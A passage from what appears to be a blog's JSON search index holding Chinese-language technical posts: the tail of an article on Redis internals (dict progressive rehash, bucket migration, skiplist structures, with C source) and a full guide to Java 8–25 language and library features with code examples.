\u0026amp;d-\u0026gt;ht_table[dictIsRehashing(d) ? 1 : 0][idx]; return bucket; } table == 0 \u0026amp;\u0026amp; idx \u0026lt; rehashidx → 这个 bucket 已经迁移到 ht_table[1] 了，跳过旧表直接查新表。rehash 期间写入一律进 ht_table[1]。\n渐进式 Rehash 一次性迁移百万级 key 会导致主线程长时间阻塞。Redis 通过将 O(N) 的 rehash 操作分摊到每次 CRUD 中解决这一问题。\ngraph LR subgraph \"ht_table 0\" B0[\"bucket 0 ✓\"] B1[\"bucket 1 ✓\"] B2[\"bucket 2 ← rehashidx\"] B3[\"bucket 3\"] end subgraph \"ht_table 1\" NB0[\"bucket 0\"] NB1[\"bucket 1\"] NB2[\"bucket 2\"] NB3[\"bucket 3\"] NB4[\"bucket 4\"] NB5[\"bucket 5\"] NB6[\"bucket 6\"] NB7[\"bucket 7\"] end B0 -.-\u003e NB1 B1 -.-\u003e NB5 触发：负载因子 ≥1（无子进程）或 ≥ dict_force_resize_ratio（有 BGSAVE/BGREWRITEAOF 子进程） 双表并存：分配 ht_table[1]，大小 = 首个 ≥ used+1 的 2^n 分摊：每次 CRUD 迁移若干 bucket 查询：两张表都查；写入只进 ht_table[1] 收尾：全部迁完，ht_table[1] → ht_table[0]，释放旧表 Cstatic void _dictRehashStepIfNeeded(dict *d, uint64_t visitedIdx) { if ((!dictIsRehashing(d)) || (d-\u0026gt;pauserehash != 0)) return; /* rehashidx == -1 表示未在 rehash */ if ((long)visitedIdx \u0026gt;= d-\u0026gt;rehashidx \u0026amp;\u0026amp; d-\u0026gt;ht_table[0][visitedIdx]) { /* 当前访问的 bucket 在 ht0 中有数据，就地迎移该 bucket（CPU 缓存友好） */ _dictBucketRehash(d, visitedIdx); } else { /* ht0 中该位置无数据，按 rehashidx 顺序推进一步（缓存不友好） */ dictRehash(d,1); } } 优先迁移当前访问的 bucket（利用 CPU 缓存局部性），否则按 rehashidx 顺序推进。\nBucket 迁移 逐个遍历旧 bucket 的链表，重新 hash 到新表。no_value 类型（Set）有特殊优化：目标 bucket 为空时直接把 key 编码进 bucket 指针，省掉 dictEntry 分配。\nC/* dictRehash 和 dictBucketRehash 的辅助函数， * 将旧表 ht_table[0] 中下标为 idx 的 bucket 中所有 key 迎移到新表 */ static void rehashEntriesInBucketAtIndex(dict *d, uint64_t idx) { dictEntry *de = d-\u0026gt;ht_table[0][idx]; uint64_t h; dictEntry *nextde; while (de) { nextde = dictGetNext(de); void *storedKey = dictGetKey(de); /* 计算在新表中的下标 */ if (d-\u0026gt;ht_size_exp[1] \u0026gt; d-\u0026gt;ht_size_exp[0]) { const void *key = dictStoredKey2Key(d, storedKey); h = dictGetHash(d, key) \u0026amp; DICTHT_SIZE_MASK(d-\u0026gt;ht_size_exp[1]); } else { /* 缩容场景。表大小是 2 的幂， * 直接对旧下标做位掩码即可得到新下标 */ h = idx \u0026amp; DICTHT_SIZE_MASK(d-\u0026gt;ht_size_exp[1]); } if (d-\u0026gt;type-\u0026gt;no_value) { if (!d-\u0026gt;ht_table[1][h]) { /* 目标 bucket 为空，可以直接将 key 编码进 bucket 指针， * 无需分配 dictEntry。若旧 entry 是分配的，释放其内存 */ if (!entryIsKey(de)) zfree(decodeMaskedPtr(de)); de = encodeEntryKey(d, storedKey); } else if (entryIsKey(de)) { /* 当前没有分配 entry 但目标 bucket 非空，需要分配一个 */ de = createEntryNoValue(storedKey, d-\u0026gt;ht_table[1][h]); } else { dictSetNext(de, d-\u0026gt;ht_table[1][h]); } } else { dictSetNext(de, d-\u0026gt;ht_table[1][h]); } d-\u0026gt;ht_table[1][h] = de; d-\u0026gt;ht_used[0]--; d-\u0026gt;ht_used[1]++; de = nextde; } d-\u0026gt;ht_table[0][idx] = NULL; } 缩容时不需要重新 hash：表大小是 2 的幂，新下标 = idx \u0026amp; 新掩码，直接位运算。\n扩容条件 C/* 返回 DICT_OK 表示已成功扩容或正在 rehash，无需额外处理。 * 返回 DICT_ERR 表示未触发扩容（可考虑缩容） */ int dictExpandIfNeeded(dict *d) { /* 正在渐进式 rehash，直接返回 */ if (dictIsRehashing(d)) return DICT_OK; /* 空表则初始化为默认大小 */ if (DICTHT_SIZE(d-\u0026gt;ht_size_exp[0]) == 0) { dictExpand(d, DICT_HT_INITIAL_SIZE); return DICT_OK; } /* 负载因子达到 1:1 且允许扩容，或负载因子 * 超过强制扩容阈值，则扩容为原来的两倍 */ if ((dict_can_resize == DICT_RESIZE_ENABLE \u0026amp;\u0026amp; d-\u0026gt;ht_used[0] \u0026gt;= DICTHT_SIZE(d-\u0026gt;ht_size_exp[0])) || (dict_can_resize != DICT_RESIZE_FORBID \u0026amp;\u0026amp; d-\u0026gt;ht_used[0] \u0026gt;= dict_force_resize_ratio * DICTHT_SIZE(d-\u0026gt;ht_size_exp[0]))) { if (dictTypeResizeAllowed(d, d-\u0026gt;ht_used[0] + 1)) dictExpand(d, d-\u0026gt;ht_used[0] + 1); return DICT_OK; } return DICT_ERR; } 三档策略：RESIZE_ENABLE（无子进程）负载因子 ≥1 就扩；RESIZE_AVOID（有子进程）需要负载因子达到 dict_force_resize_ratio 才扩；RESIZE_FORBID 完全禁止扩容。有子进程时抑制扩容是为了减少 COW（Copy-On-Write）页面复制开销。\nSkiplist ZSet 大数据量编码。概率性有序结构，O(log N) 增删查，比红黑树实现简单、范围查询天然支持。\nC/* ZSet 使用的跳跃表实现 */ typedef struct zskiplistNode { sds ele; double score; struct zskiplistNode *backward; struct zskiplistLevel { struct zskiplistNode *forward; /* span 记录当前节点与该层下一个节点之间的距离。 * 在 L0 层 span 始终为 1（末尾节点为 0），因此复用它存储节点层高， * 以便在排名计算时 O(1) 获取节点层数 */ unsigned long span; } level[]; } zskiplistNode; typedef struct zskiplist { struct zskiplistNode *header, *tail; unsigned long length; int level; size_t alloc_size; } zskiplist; typedef struct zset { dict *dict; zskiplist *zsl; } zset; zset 是双索引结构：zsl 按 score 有序排列，支持 ZRANGEBYSCORE、ZRANK（沿路径累加 span）；dict 做 member→score O(1) 点查，支持 ZSCORE。两者互补。\n特性 说明 层高 随机，P=0.25，期望 ≈1.33 层/节点 复杂度 增删查均 O(log N) span L0 处复用为节点层高；高层累加得排名 backward 仅 L0 有，支持 ZREVRANGE 逆序 vs 红黑树 实现简单、范围查天然支持、并发改造容易 设计原则 原则 体现 内存优先 listpack 零指针、intset 连续数组、SDS __packed__、dictEntryNoValue 渐进式 dict rehash 分摊到 CRUD，单线程也不阻塞 编码自适应 小数据→紧凑编码，大数据→高效结构，自动切换 空间换时间 ZSet 双索引、SDS 预分配 ","permalink":"https://buvidk1234.github.io/posts/redis-datastructure/","summary":"\u003ch1 id=\"redis-数据结构\"\u003eRedis 数据结构\u003c/h1\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e逻辑类型 (Type)\u003c/th\u003e\n          \u003cth\u003e底层数据结构 (Internal Encoding)\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eString\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eint, embstr, raw (SDS)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eList\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003equicklist\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eHash\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003elistpack, hashtable\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eSet\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eintset, hashtable\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eZSet\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003elistpack, skiplist + hashtable\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"mermaid\"\u003egraph TD\n    A[redisObject] --\u003e B{type}\n    B --\u003e|STRING| C[int / embstr / raw]\n    B --\u003e|LIST| D[quicklist]\n    B --\u003e|HASH| E{size?}\n    B --\u003e|SET| F{all int?}\n    B --\u003e|ZSET| G{size?}\n    E --\u003e|小| H[listpack]\n    E --\u003e|大| I[hashtable]\n    F --\u003e|yes \u0026 少| J[intset]\n    F --\u003e|no| K[hashtable]\n    G --\u003e|小| L[listpack]\n    G --\u003e|大| M[skiplist + hashtable]\u003c/div\u003e\u003cp\u003e每种类型根据数据量自动切换编码：小数据用紧凑结构省内存，大数据切高效结构保性能。\u003c/p\u003e","title":"Redis Datastructure"},{"content":"前言 Java 作为一门历史悠久的编程语言，一直在不断演进。本文按照 LTS（长期支持）版本 组织，介绍 Java 8 到 Java 25 的重要新特性，帮助开发者快速了解每个版本可以用哪些功能。\n💡 每个特性后标注的版本号表示该特性正式可用的最低版本。\nJava 8 LTS (2014) - 里程碑式更新 Java 8 是 Java 历史上最重要的版本，引入了函数式编程的核心概念。\nLambda 表达式 是什么？ 一种简洁的匿名函数写法，把\u0026quot;行为\u0026quot;像数据一样传递。\nJAVA// ❌ 传统写法 Collections.sort(list, new Comparator\u0026lt;String\u0026gt;() { @Override public int compare(String s1, String s2) { return s1.compareTo(s2); } }); // ✅ Lambda 写法 Collections.sort(list, (s1, s2) -\u0026gt; s1.compareTo(s2)); // ✅ 方法引用 Collections.sort(list, String::compareTo); Lambda 语法：\nJAVA(参数1, 参数2) -\u0026gt; { return 表达式; } // 完整形式 (s1, s2) -\u0026gt; s1.compareTo(s2) // 单行可省略 return 和大括号 s -\u0026gt; s.toUpperCase() // 单参数可省略括号 () -\u0026gt; System.out.println(\u0026#34;Hello\u0026#34;) // 无参数 Stream API 是什么？ 对集合数据进行流水线式处理的 API。\nJAVAList\u0026lt;String\u0026gt; names = Arrays.asList(\u0026#34;Alice\u0026#34;, \u0026#34;Bob\u0026#34;, \u0026#34;Charlie\u0026#34;, \u0026#34;David\u0026#34;); List\u0026lt;String\u0026gt; result = names.stream() .filter(name -\u0026gt; name.length() \u0026gt; 3) // 过滤 .map(String::toUpperCase) // 转换 .sorted() // 排序 .toList(); // Java 16+ // .collect(Collectors.toList()); // Java 8-15 // 结果: [\u0026#34;ALICE\u0026#34;, \u0026#34;CHARLIE\u0026#34;, \u0026#34;DAVID\u0026#34;] // 并行处理 long count = names.parallelStream() .filter(name -\u0026gt; name.startsWith(\u0026#34;A\u0026#34;)) .count(); 常用操作：\n操作 作用 示例 filter 过滤 .filter(x -\u0026gt; x \u0026gt; 0) map 转换 .map(String::toUpperCase) sorted 排序 .sorted() distinct 去重 .distinct() limit 取前 N 个 .limit(5) forEach 遍历 .forEach(System.out::println) Optional 是什么？ 一个\u0026quot;可能有值也可能没值\u0026quot;的容器，避免 NullPointerException。\nJAVA// ❌ 传统写法 if (user != null \u0026amp;\u0026amp; user.getAddress() != null) { return user.getAddress().getCity(); } return \u0026#34;Unknown\u0026#34;; // ✅ Optional 写法 return Optional.ofNullable(user) .map(User::getAddress) .map(Address::getCity) .orElse(\u0026#34;Unknown\u0026#34;); 常用方法：\nJAVAOptional.of(\u0026#34;value\u0026#34;) // 值不能为 null Optional.ofNullable(maybeNull) // 值可以为 null Optional.empty() // 空 Optional opt.orElse(\u0026#34;default\u0026#34;) // 有值返回值，没值返回默认值 opt.orElseGet(() -\u0026gt; compute()) // 没值时才调用函数 opt.orElseThrow() // 没值抛异常 opt.ifPresent(v -\u0026gt; use(v)) // 有值才执行 新日期时间 API 为什么需要？ 旧的 Date 和 Calendar 可变、线程不安全、API 难用。\nJAVA// 获取当前时间 LocalDate today = LocalDate.now(); // 只有日期 LocalTime now = LocalTime.now(); // 只有时间 LocalDateTime dateTime = LocalDateTime.now(); // 日期+时间 ZonedDateTime zoned = ZonedDateTime.now(); // 带时区 // 创建指定日期 LocalDate birthday = LocalDate.of(2000, 6, 15); // 日期计算（返回新对象，原对象不变） LocalDate nextWeek = today.plusWeeks(1); LocalDate lastMonth = today.minusMonths(1); // ⚠️ 边界情况 // 3月31日.minusMonths(1) = 2月28日（2月没有31号，调整为当月最后一天） // 格式化 DateTimeFormatter fmt = DateTimeFormatter.ofPattern(\u0026#34;yyyy-MM-dd HH:mm\u0026#34;); String str = dateTime.format(fmt); 接口默认方法 解决什么问题？ 让接口可以添加新方法而不破坏现有实现类。\nJAVApublic interface Vehicle { void drive(); // 抽象方法 default void honk() { // 默认方法 System.out.println(\u0026#34;Beep!\u0026#34;); } static Vehicle create() { // 静态方法 return () -\u0026gt; System.out.println(\u0026#34;Driving\u0026#34;); } } Java 11 LTS (2018) Local Variable Type Inference (Java 10) 是什么？ 让编译器自动推断局部变量类型。\nJAVA// ❌ 类型重复 HashMap\u0026lt;String, List\u0026lt;Integer\u0026gt;\u0026gt; map = new HashMap\u0026lt;String, List\u0026lt;Integer\u0026gt;\u0026gt;(); // ✅ 用 var var map = new HashMap\u0026lt;String, List\u0026lt;Integer\u0026gt;\u0026gt;(); var list = List.of(\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;); // ⚠️ 只能用于局部变量，必须有初始化值 Collection Factory Methods (Java 9) JAVA// 创建不可变集合 List\u0026lt;String\u0026gt; list = List.of(\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;); Set\u0026lt;String\u0026gt; set = Set.of(\u0026#34;x\u0026#34;, \u0026#34;y\u0026#34;, \u0026#34;z\u0026#34;); Map\u0026lt;String, Integer\u0026gt; map = Map.of(\u0026#34;one\u0026#34;, 1, \u0026#34;two\u0026#34;, 2); // ⚠️ 这些集合不可变，不能 add/remove New String Methods (Java 11) JAVA\u0026#34; \u0026#34;.isBlank(); // true（只有空白） \u0026#34; hello \u0026#34;.strip(); // \u0026#34;hello\u0026#34;（去除首尾空白） \u0026#34;ha\u0026#34;.repeat(3); // \u0026#34;hahaha\u0026#34; \u0026#34;a\\nb\\nc\u0026#34;.lines().count(); // 3（按行分割成 Stream） Simplified File I/O (Java 11) JAVA// 读取整个文件 String content = Files.readString(Path.of(\u0026#34;file.txt\u0026#34;)); // 写入文件 Files.writeString(Path.of(\u0026#34;out.txt\u0026#34;), \u0026#34;Hello\u0026#34;); // 🚀 大文件用流式读取（边读边处理，不占内存） try (Stream\u0026lt;String\u0026gt; lines = Files.lines(Path.of(\u0026#34;huge.txt\u0026#34;))) { lines.filter(line -\u0026gt; line.contains(\u0026#34;ERROR\u0026#34;)) .forEach(System.out::println); } // 二进制文件 byte[] data = Files.readAllBytes(Path.of(\u0026#34;image.png\u0026#34;)); Files.write(Path.of(\u0026#34;copy.png\u0026#34;), data); HTTP Client API (Java 11) JAVAHttpClient client = HttpClient.newBuilder() .connectTimeout(Duration.ofSeconds(10)) .build(); HttpRequest request = HttpRequest.newBuilder() .uri(URI.create(\u0026#34;https://api.example.com/users\u0026#34;)) .header(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) .POST(HttpRequest.BodyPublishers.ofString(\u0026#34;{\\\u0026#34;name\\\u0026#34;:\\\u0026#34;Alice\\\u0026#34;}\u0026#34;)) .build(); // 同步请求 HttpResponse\u0026lt;String\u0026gt; response = client.send(request, HttpResponse.BodyHandlers.ofString()); // 异步请求 client.sendAsync(request, HttpResponse.BodyHandlers.ofString()) .thenApply(HttpResponse::body) .thenAccept(System.out::println); Java Platform Module System (Java 9) JAVA// module-info.java module com.example.app { requires java.sql; exports com.example.api; } 实际情况： 应用项目基本没有使用模块化，继续用传统 classpath。遇到反射报错时添加 JVM 参数即可：\nBASHjava --add-opens java.base/java.lang=ALL-UNNAMED -jar app.jar Private Interface Methods (Java 9) 是什么？ 允许在接口中定义私有方法，供默认方法调用。\n解决什么问题？ 解决接口默认方法中的代码重复问题。\nJAVApublic interface Service { default void doWork() { init(); // 调用私有方法 System.out.println(\u0026#34;Working...\u0026#34;); } default void doOtherWork() { init(); // 复用代码 System.out.println(\u0026#34;Other working...\u0026#34;); } // ✅ 接口私有方法（Java 9+） private void init() { System.out.println(\u0026#34;Initializing...\u0026#34;); } } Java 17 LTS (2021) Record Classes (Java 16) 是什么？ 专门用于\u0026quot;只装数据\u0026quot;的类，自动生成构造器、getter、equals、hashCode、toString。\nJAVA// ❌ 传统写法：需要写很多样板代码 public class Point { private final int x, y; public Point(int x, int y) { this.x = x; this.y = y; } public int getX() { return x; } public int getY() { return y; } // equals, hashCode, toString... } // ✅ Record：一行搞定 public record Point(int x, int y) {} // 使用 Point p = new Point(3, 4); p.x(); // 3（注意没有 get 前缀） p.y(); // 4 添加验证和方法：\nJAVApublic record Point(int x, int y) { public Point { // 紧凑构造器 if (x \u0026lt; 0 || y \u0026lt; 0) throw new IllegalArgumentException(); } public double distance() { return Math.sqrt(x * x + y * y); } } Sealed Classes (Java 17) 是什么？ 限制哪些类可以继承/实现某个类/接口。\nJAVA// 只有 Circle, Rectangle 可以继承 Shape public sealed class Shape permits Circle, Rectangle {} public final class Circle extends Shape {} // final: 不能再被继承 public non-sealed class Rectangle extends Shape {} // non-sealed: 可以被任意继承 配合 Record 使用：\nJAVApublic sealed interface Result\u0026lt;T\u0026gt; permits Success, Failure {} public record Success\u0026lt;T\u0026gt;(T value) implements Result\u0026lt;T\u0026gt; {} public record Failure\u0026lt;T\u0026gt;(Exception error) implements Result\u0026lt;T\u0026gt; {} // Java 17 中通常配合 instanceof 模式匹配使用 if (result instanceof Success\u0026lt;String\u0026gt; s) { System.out.println(\u0026#34;OK: \u0026#34; + s.value()); } else if (result instanceof Failure\u0026lt;String\u0026gt; f) { System.out.println(\u0026#34;Error: \u0026#34; + f.error()); } // 💡 注意：switch 的模式匹配（case Success s -\u0026gt; ...）在 Java 17 还是预览特性 // 直到 Java 21 才正式转正（请看后文 Java 21 章节） Pattern Matching with instanceof (Java 16) JAVA// ❌ 传统写法 if (obj instanceof String) { String s = (String) obj; System.out.println(s.length()); } // ✅ 新写法 if (obj instanceof String s) { System.out.println(s.length()); } // 配合条件 if (obj instanceof String s \u0026amp;\u0026amp; s.length() \u0026gt; 5) { System.out.println(s.toUpperCase()); } Switch Expressions and Statements (Java 14) JAVA// ❌ 传统 switch：容易忘 break String result; switch (day) { case MONDAY: result = \u0026#34;Start\u0026#34;; break; case FRIDAY: result = \u0026#34;End\u0026#34;; break; default: result = \u0026#34;Mid\u0026#34;; } // ✅ 新语法：直接返回值 String result = switch (day) { case MONDAY, FRIDAY -\u0026gt; \u0026#34;Weekend adjacent\u0026#34;; case TUESDAY, WEDNESDAY, THURSDAY -\u0026gt; \u0026#34;Midweek\u0026#34;; case SATURDAY, SUNDAY -\u0026gt; \u0026#34;Weekend\u0026#34;; }; // 多行用 yield int value = switch (input) { case \u0026#34;a\u0026#34; -\u0026gt; 1; default -\u0026gt; { log(\u0026#34;Unknown\u0026#34;); yield -1; } }; Text Blocks (Java 15) JAVA// ❌ 传统：转义地狱 String json = \u0026#34;{\\n \\\u0026#34;name\\\u0026#34;: \\\u0026#34;Alice\\\u0026#34;\\n}\u0026#34;; // ✅ 文本块 String json = \u0026#34;\u0026#34;\u0026#34; { \u0026#34;name\u0026#34;: \u0026#34;Alice\u0026#34;, \u0026#34;age\u0026#34;: 30 } \u0026#34;\u0026#34;\u0026#34;; String sql = \u0026#34;\u0026#34;\u0026#34; SELECT * FROM users WHERE status = \u0026#39;active\u0026#39; ORDER BY created_at \u0026#34;\u0026#34;\u0026#34;; Java 21 LTS (2023) Virtual Threads (Java 21) 是什么？ 轻量级线程，由 JVM 管理。传统线程约 1MB，虚拟线程只需几 KB。\n适合场景： I/O 密集型（网络请求、数据库查询）。\nJAVA// 创建虚拟线程 Thread.ofVirtual().start(() -\u0026gt; { System.out.println(\u0026#34;Running in virtual thread\u0026#34;); }); // 虚拟线程池（推荐） try (var executor = Executors.newVirtualThreadPerTaskExecutor()) { for (int i = 0; i \u0026lt; 10_000; i++) { executor.submit(() -\u0026gt; { Thread.sleep(Duration.ofSeconds(1)); return \u0026#34;done\u0026#34;; }); } } // 10000 个虚拟线程，只需几十 MB 内存！ // Spring Boot 3.2+ 开启虚拟线程 // application.properties: // spring.threads.virtual.enabled=true Record Patterns (Java 21) 是什么？ 在模式匹配中解构 Record。\nJAVArecord Point(int x, int y) {} record Line(Point start, Point end) {} // 嵌套解构 if (obj instanceof Line(Point(int x1, int y1), Point(int x2, int y2))) { System.out.println(\u0026#34;From \u0026#34; + x1 + \u0026#34;,\u0026#34; + y1 + \u0026#34; to \u0026#34; + x2 + \u0026#34;,\u0026#34; + y2); } // 在 switch 中 String describe(Object obj) { return switch (obj) { case Point(int x, int y) when x == y -\u0026gt; \u0026#34;对角线点: \u0026#34; + x; case Point(int x, int y) -\u0026gt; \u0026#34;点: (\u0026#34; + x + \u0026#34;, \u0026#34; + y + \u0026#34;)\u0026#34;; default -\u0026gt; \u0026#34;其他\u0026#34;; }; } Pattern Matching with switch (Java 21) JAVAString analyze(Object obj) { return switch (obj) { case null -\u0026gt; \u0026#34;空值\u0026#34;; case String s when s.isEmpty() -\u0026gt; \u0026#34;空字符串\u0026#34;; case String s -\u0026gt; \u0026#34;字符串: \u0026#34; + s; case Integer i when i \u0026lt; 0 -\u0026gt; \u0026#34;负数\u0026#34;; case Integer i -\u0026gt; \u0026#34;正数: \u0026#34; + i; case int[] arr -\u0026gt; \u0026#34;数组长度: \u0026#34; + arr.length; default -\u0026gt; \u0026#34;其他\u0026#34;; }; } Sequenced Collections (Java 21) JAVA// 统一的首尾操作 API SequencedCollection\u0026lt;String\u0026gt; list = new ArrayList\u0026lt;\u0026gt;(); list.addFirst(\u0026#34;first\u0026#34;); list.addLast(\u0026#34;last\u0026#34;); String first = list.getFirst(); String last = list.getLast(); // 反向视图 SequencedCollection\u0026lt;String\u0026gt; reversed = list.reversed(); Unnamed Variables and Patterns (Java 22) JAVA// 忽略不需要的变量 try { // ... } catch (IOException _) { System.out.println(\u0026#34;IO error\u0026#34;); // 不需要使用异常对象 } // 在 switch 中 case Point(int x, _) -\u0026gt; \u0026#34;x = \u0026#34; + x; // 不关心 y // Lambda 中 map.forEach((_, value) -\u0026gt; System.out.println(value)); Java 25 LTS (2025) Compact Source Files and Instance Main Methods (Java 25) JAVA// ❌ 传统写法 public class Hello { public static void main(String[] args) { System.out.println(\u0026#34;Hello\u0026#34;); } } // ✅ 简化写法 void main() { IO.println(\u0026#34;Hello\u0026#34;); // Java 25 变更：必须使用 IO.println 或显式导入 } Flexible Constructor Bodies (Java 25) JAVApublic class Child extends Parent { public Child(int value) { if (value \u0026lt; 0) throw new IllegalArgumentException(); // 可以在 super() 前执行 super(value); } } Module Import Declarations (Java 25) 是什么？ 一次性导入整个模块的所有公开类。\n类比理解： 以前 import java.util.* 只能导入一个包。现在 import module java.base 相当于把 java.util.*, java.io.*, java.nio.* 等几百个包一次性全导入了。\nJAVAimport module java.base; // 导入基础模块的所有类 void main() { // List, Map, Path, Files 等都不用单独 import 了 List\u0026lt;String\u0026gt; list = List.of(\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;); Path path = Path.of(\u0026#34;file.txt\u0026#34;); } Scoped Values (Java 25) 是什么？ ThreadLocal 的现代替代品。它是一种在方法调用链中隐式传递数据的机制。\n为什么要替代 ThreadLocal？\nThreadLocal：像全局变量，谁都能改（可变），生命周期长（容易内存泄漏），内存开销大。 Scoped Values：像方法参数，不可变（安全），生命周期严格绑定代码块（出了块就失效），对虚拟线程特别优化（省内存）。 JAVA// 1. 定义一个\u0026#34;隐式参数\u0026#34;（全局常量） static final ScopedValue\u0026lt;User\u0026gt; CURRENT_USER = ScopedValue.newInstance(); void handleRequest(Request req) { User user = authenticate(req); // 2. 绑定值并执行代码块 // 在 runWhere 的花括号内，CURRENT_USER 有值；出了花括号，它就失效了 ScopedValue.runWhere(CURRENT_USER, user, () -\u0026gt; { processOrder(); // 不需要显式传递 user 参数 }); } // 3. 在深层方法中获取 void processOrder() { // 就像从空气中抓到了这个参数 User user = CURRENT_USER.get(); System.out.println(\u0026#34;Processing for \u0026#34; + user.name()); } Structured Concurrency (Java 25) 是什么？ 结构化并发。把一组并行任务看作一个整体，要么一起成功，要么一起失败。\n解决什么问题？ 以前多线程通过 ExecutorService 提交任务后，不仅难以管理（任务可能还在跑，主线程已经异常退出了），而且如果有任务失败，其他兄弟任务还在浪费资源继续跑。\nStructured Concurrency 就像给线程加了 try-with-resources：\n自动等待：代码块结束前，必须等所有子任务完成（不用手动 latch.await）。 短路机制：如果一个任务失败，自动取消其他正在跑的任务（省资源）。 异常传播：子任务的异常也会正确抛出给主线程。 JAVAResponse fetchData() throws Exception { // 开启一个\u0026#34;任务作用域\u0026#34; try (var scope = StructuredTaskScope.open()) { // 衍生出两个并行任务 SubTask\u0026lt;User\u0026gt; userTask = scope.fork(() -\u0026gt; fetchUser()); SubTask\u0026lt;Order\u0026gt; orderTask = scope.fork(() -\u0026gt; fetchOrders()); // 等待所有任务完成（或者其中一个失败导致短路） scope.join(); // 组装结果 return new Response(userTask.get(), orderTask.get()); } // 离开 try 块时，保证所有线程都已结束（不会有\u0026#34;泄漏\u0026#34;的僵尸线程） } 性能优化（无需改代码） 紧凑对象头：对象内存减少 10-20%（-XX:+UseCompactObjectHeaders） AOT 预热优化：启动时间减少 30-50% 总结 版本 必须掌握的特性 Java 8 Lambda, Stream, Optional, 新日期 API Java 11 var, 集合工厂, HTTP Client, Files 简化 Java 17 Record, Sealed Classes, instanceof 模式匹配, 文本块 Java 21 Virtual Threads, Switch 模式匹配, Sequenced Collections Java 25 简化入口点, Scoped Values, Structured Concurrency 版本选择 场景 推荐版本 新项目 Java 21 或 25 企业稳定项目 Java 21 遗留项目升级 17 → 21 → 25 参考资料 Oracle Java Documentation Java Language Changes by Release ","permalink":"https://buvidk1234.github.io/posts/java-new-features/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003eJava 作为一门历史悠久的编程语言，一直在不断演进。本文按照 \u003cstrong\u003eLTS（长期支持）版本\u003c/strong\u003e 组织，介绍 Java 8 到 Java 25 的重要新特性，帮助开发者快速了解每个版本可以用哪些功能。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e💡 每个特性后标注的版本号表示\u003cstrong\u003e该特性正式可用的最低版本\u003c/strong\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"java-8-lts-2014---里程碑式更新\"\u003eJava 8 LTS (2014) - 里程碑式更新\u003c/h2\u003e\n\u003cp\u003eJava 8 是 Java 历史上最重要的版本，引入了函数式编程的核心概念。\u003c/p\u003e\n\u003ch3 id=\"lambda-表达式\"\u003eLambda 表达式\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e是什么？\u003c/strong\u003e 一种简洁的匿名函数写法，把\u0026quot;行为\u0026quot;像数据一样传递。\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eJAVA\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#57606a\"\u003e// ❌ 传统写法\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCollections\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003esort\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003elist\u003cspan style=\"color:#1f2328\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003enew\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003eComparator\u003cspan style=\"color:#0550ae\"\u003e\u0026lt;\u003c/span\u003eString\u003cspan style=\"color:#0550ae\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e()\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e    \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e@Override\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e    \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003epublic\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#6639ba\"\u003ecompare\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e(\u003c/span\u003eString\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003es1\u003cspan style=\"color:#1f2328\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e 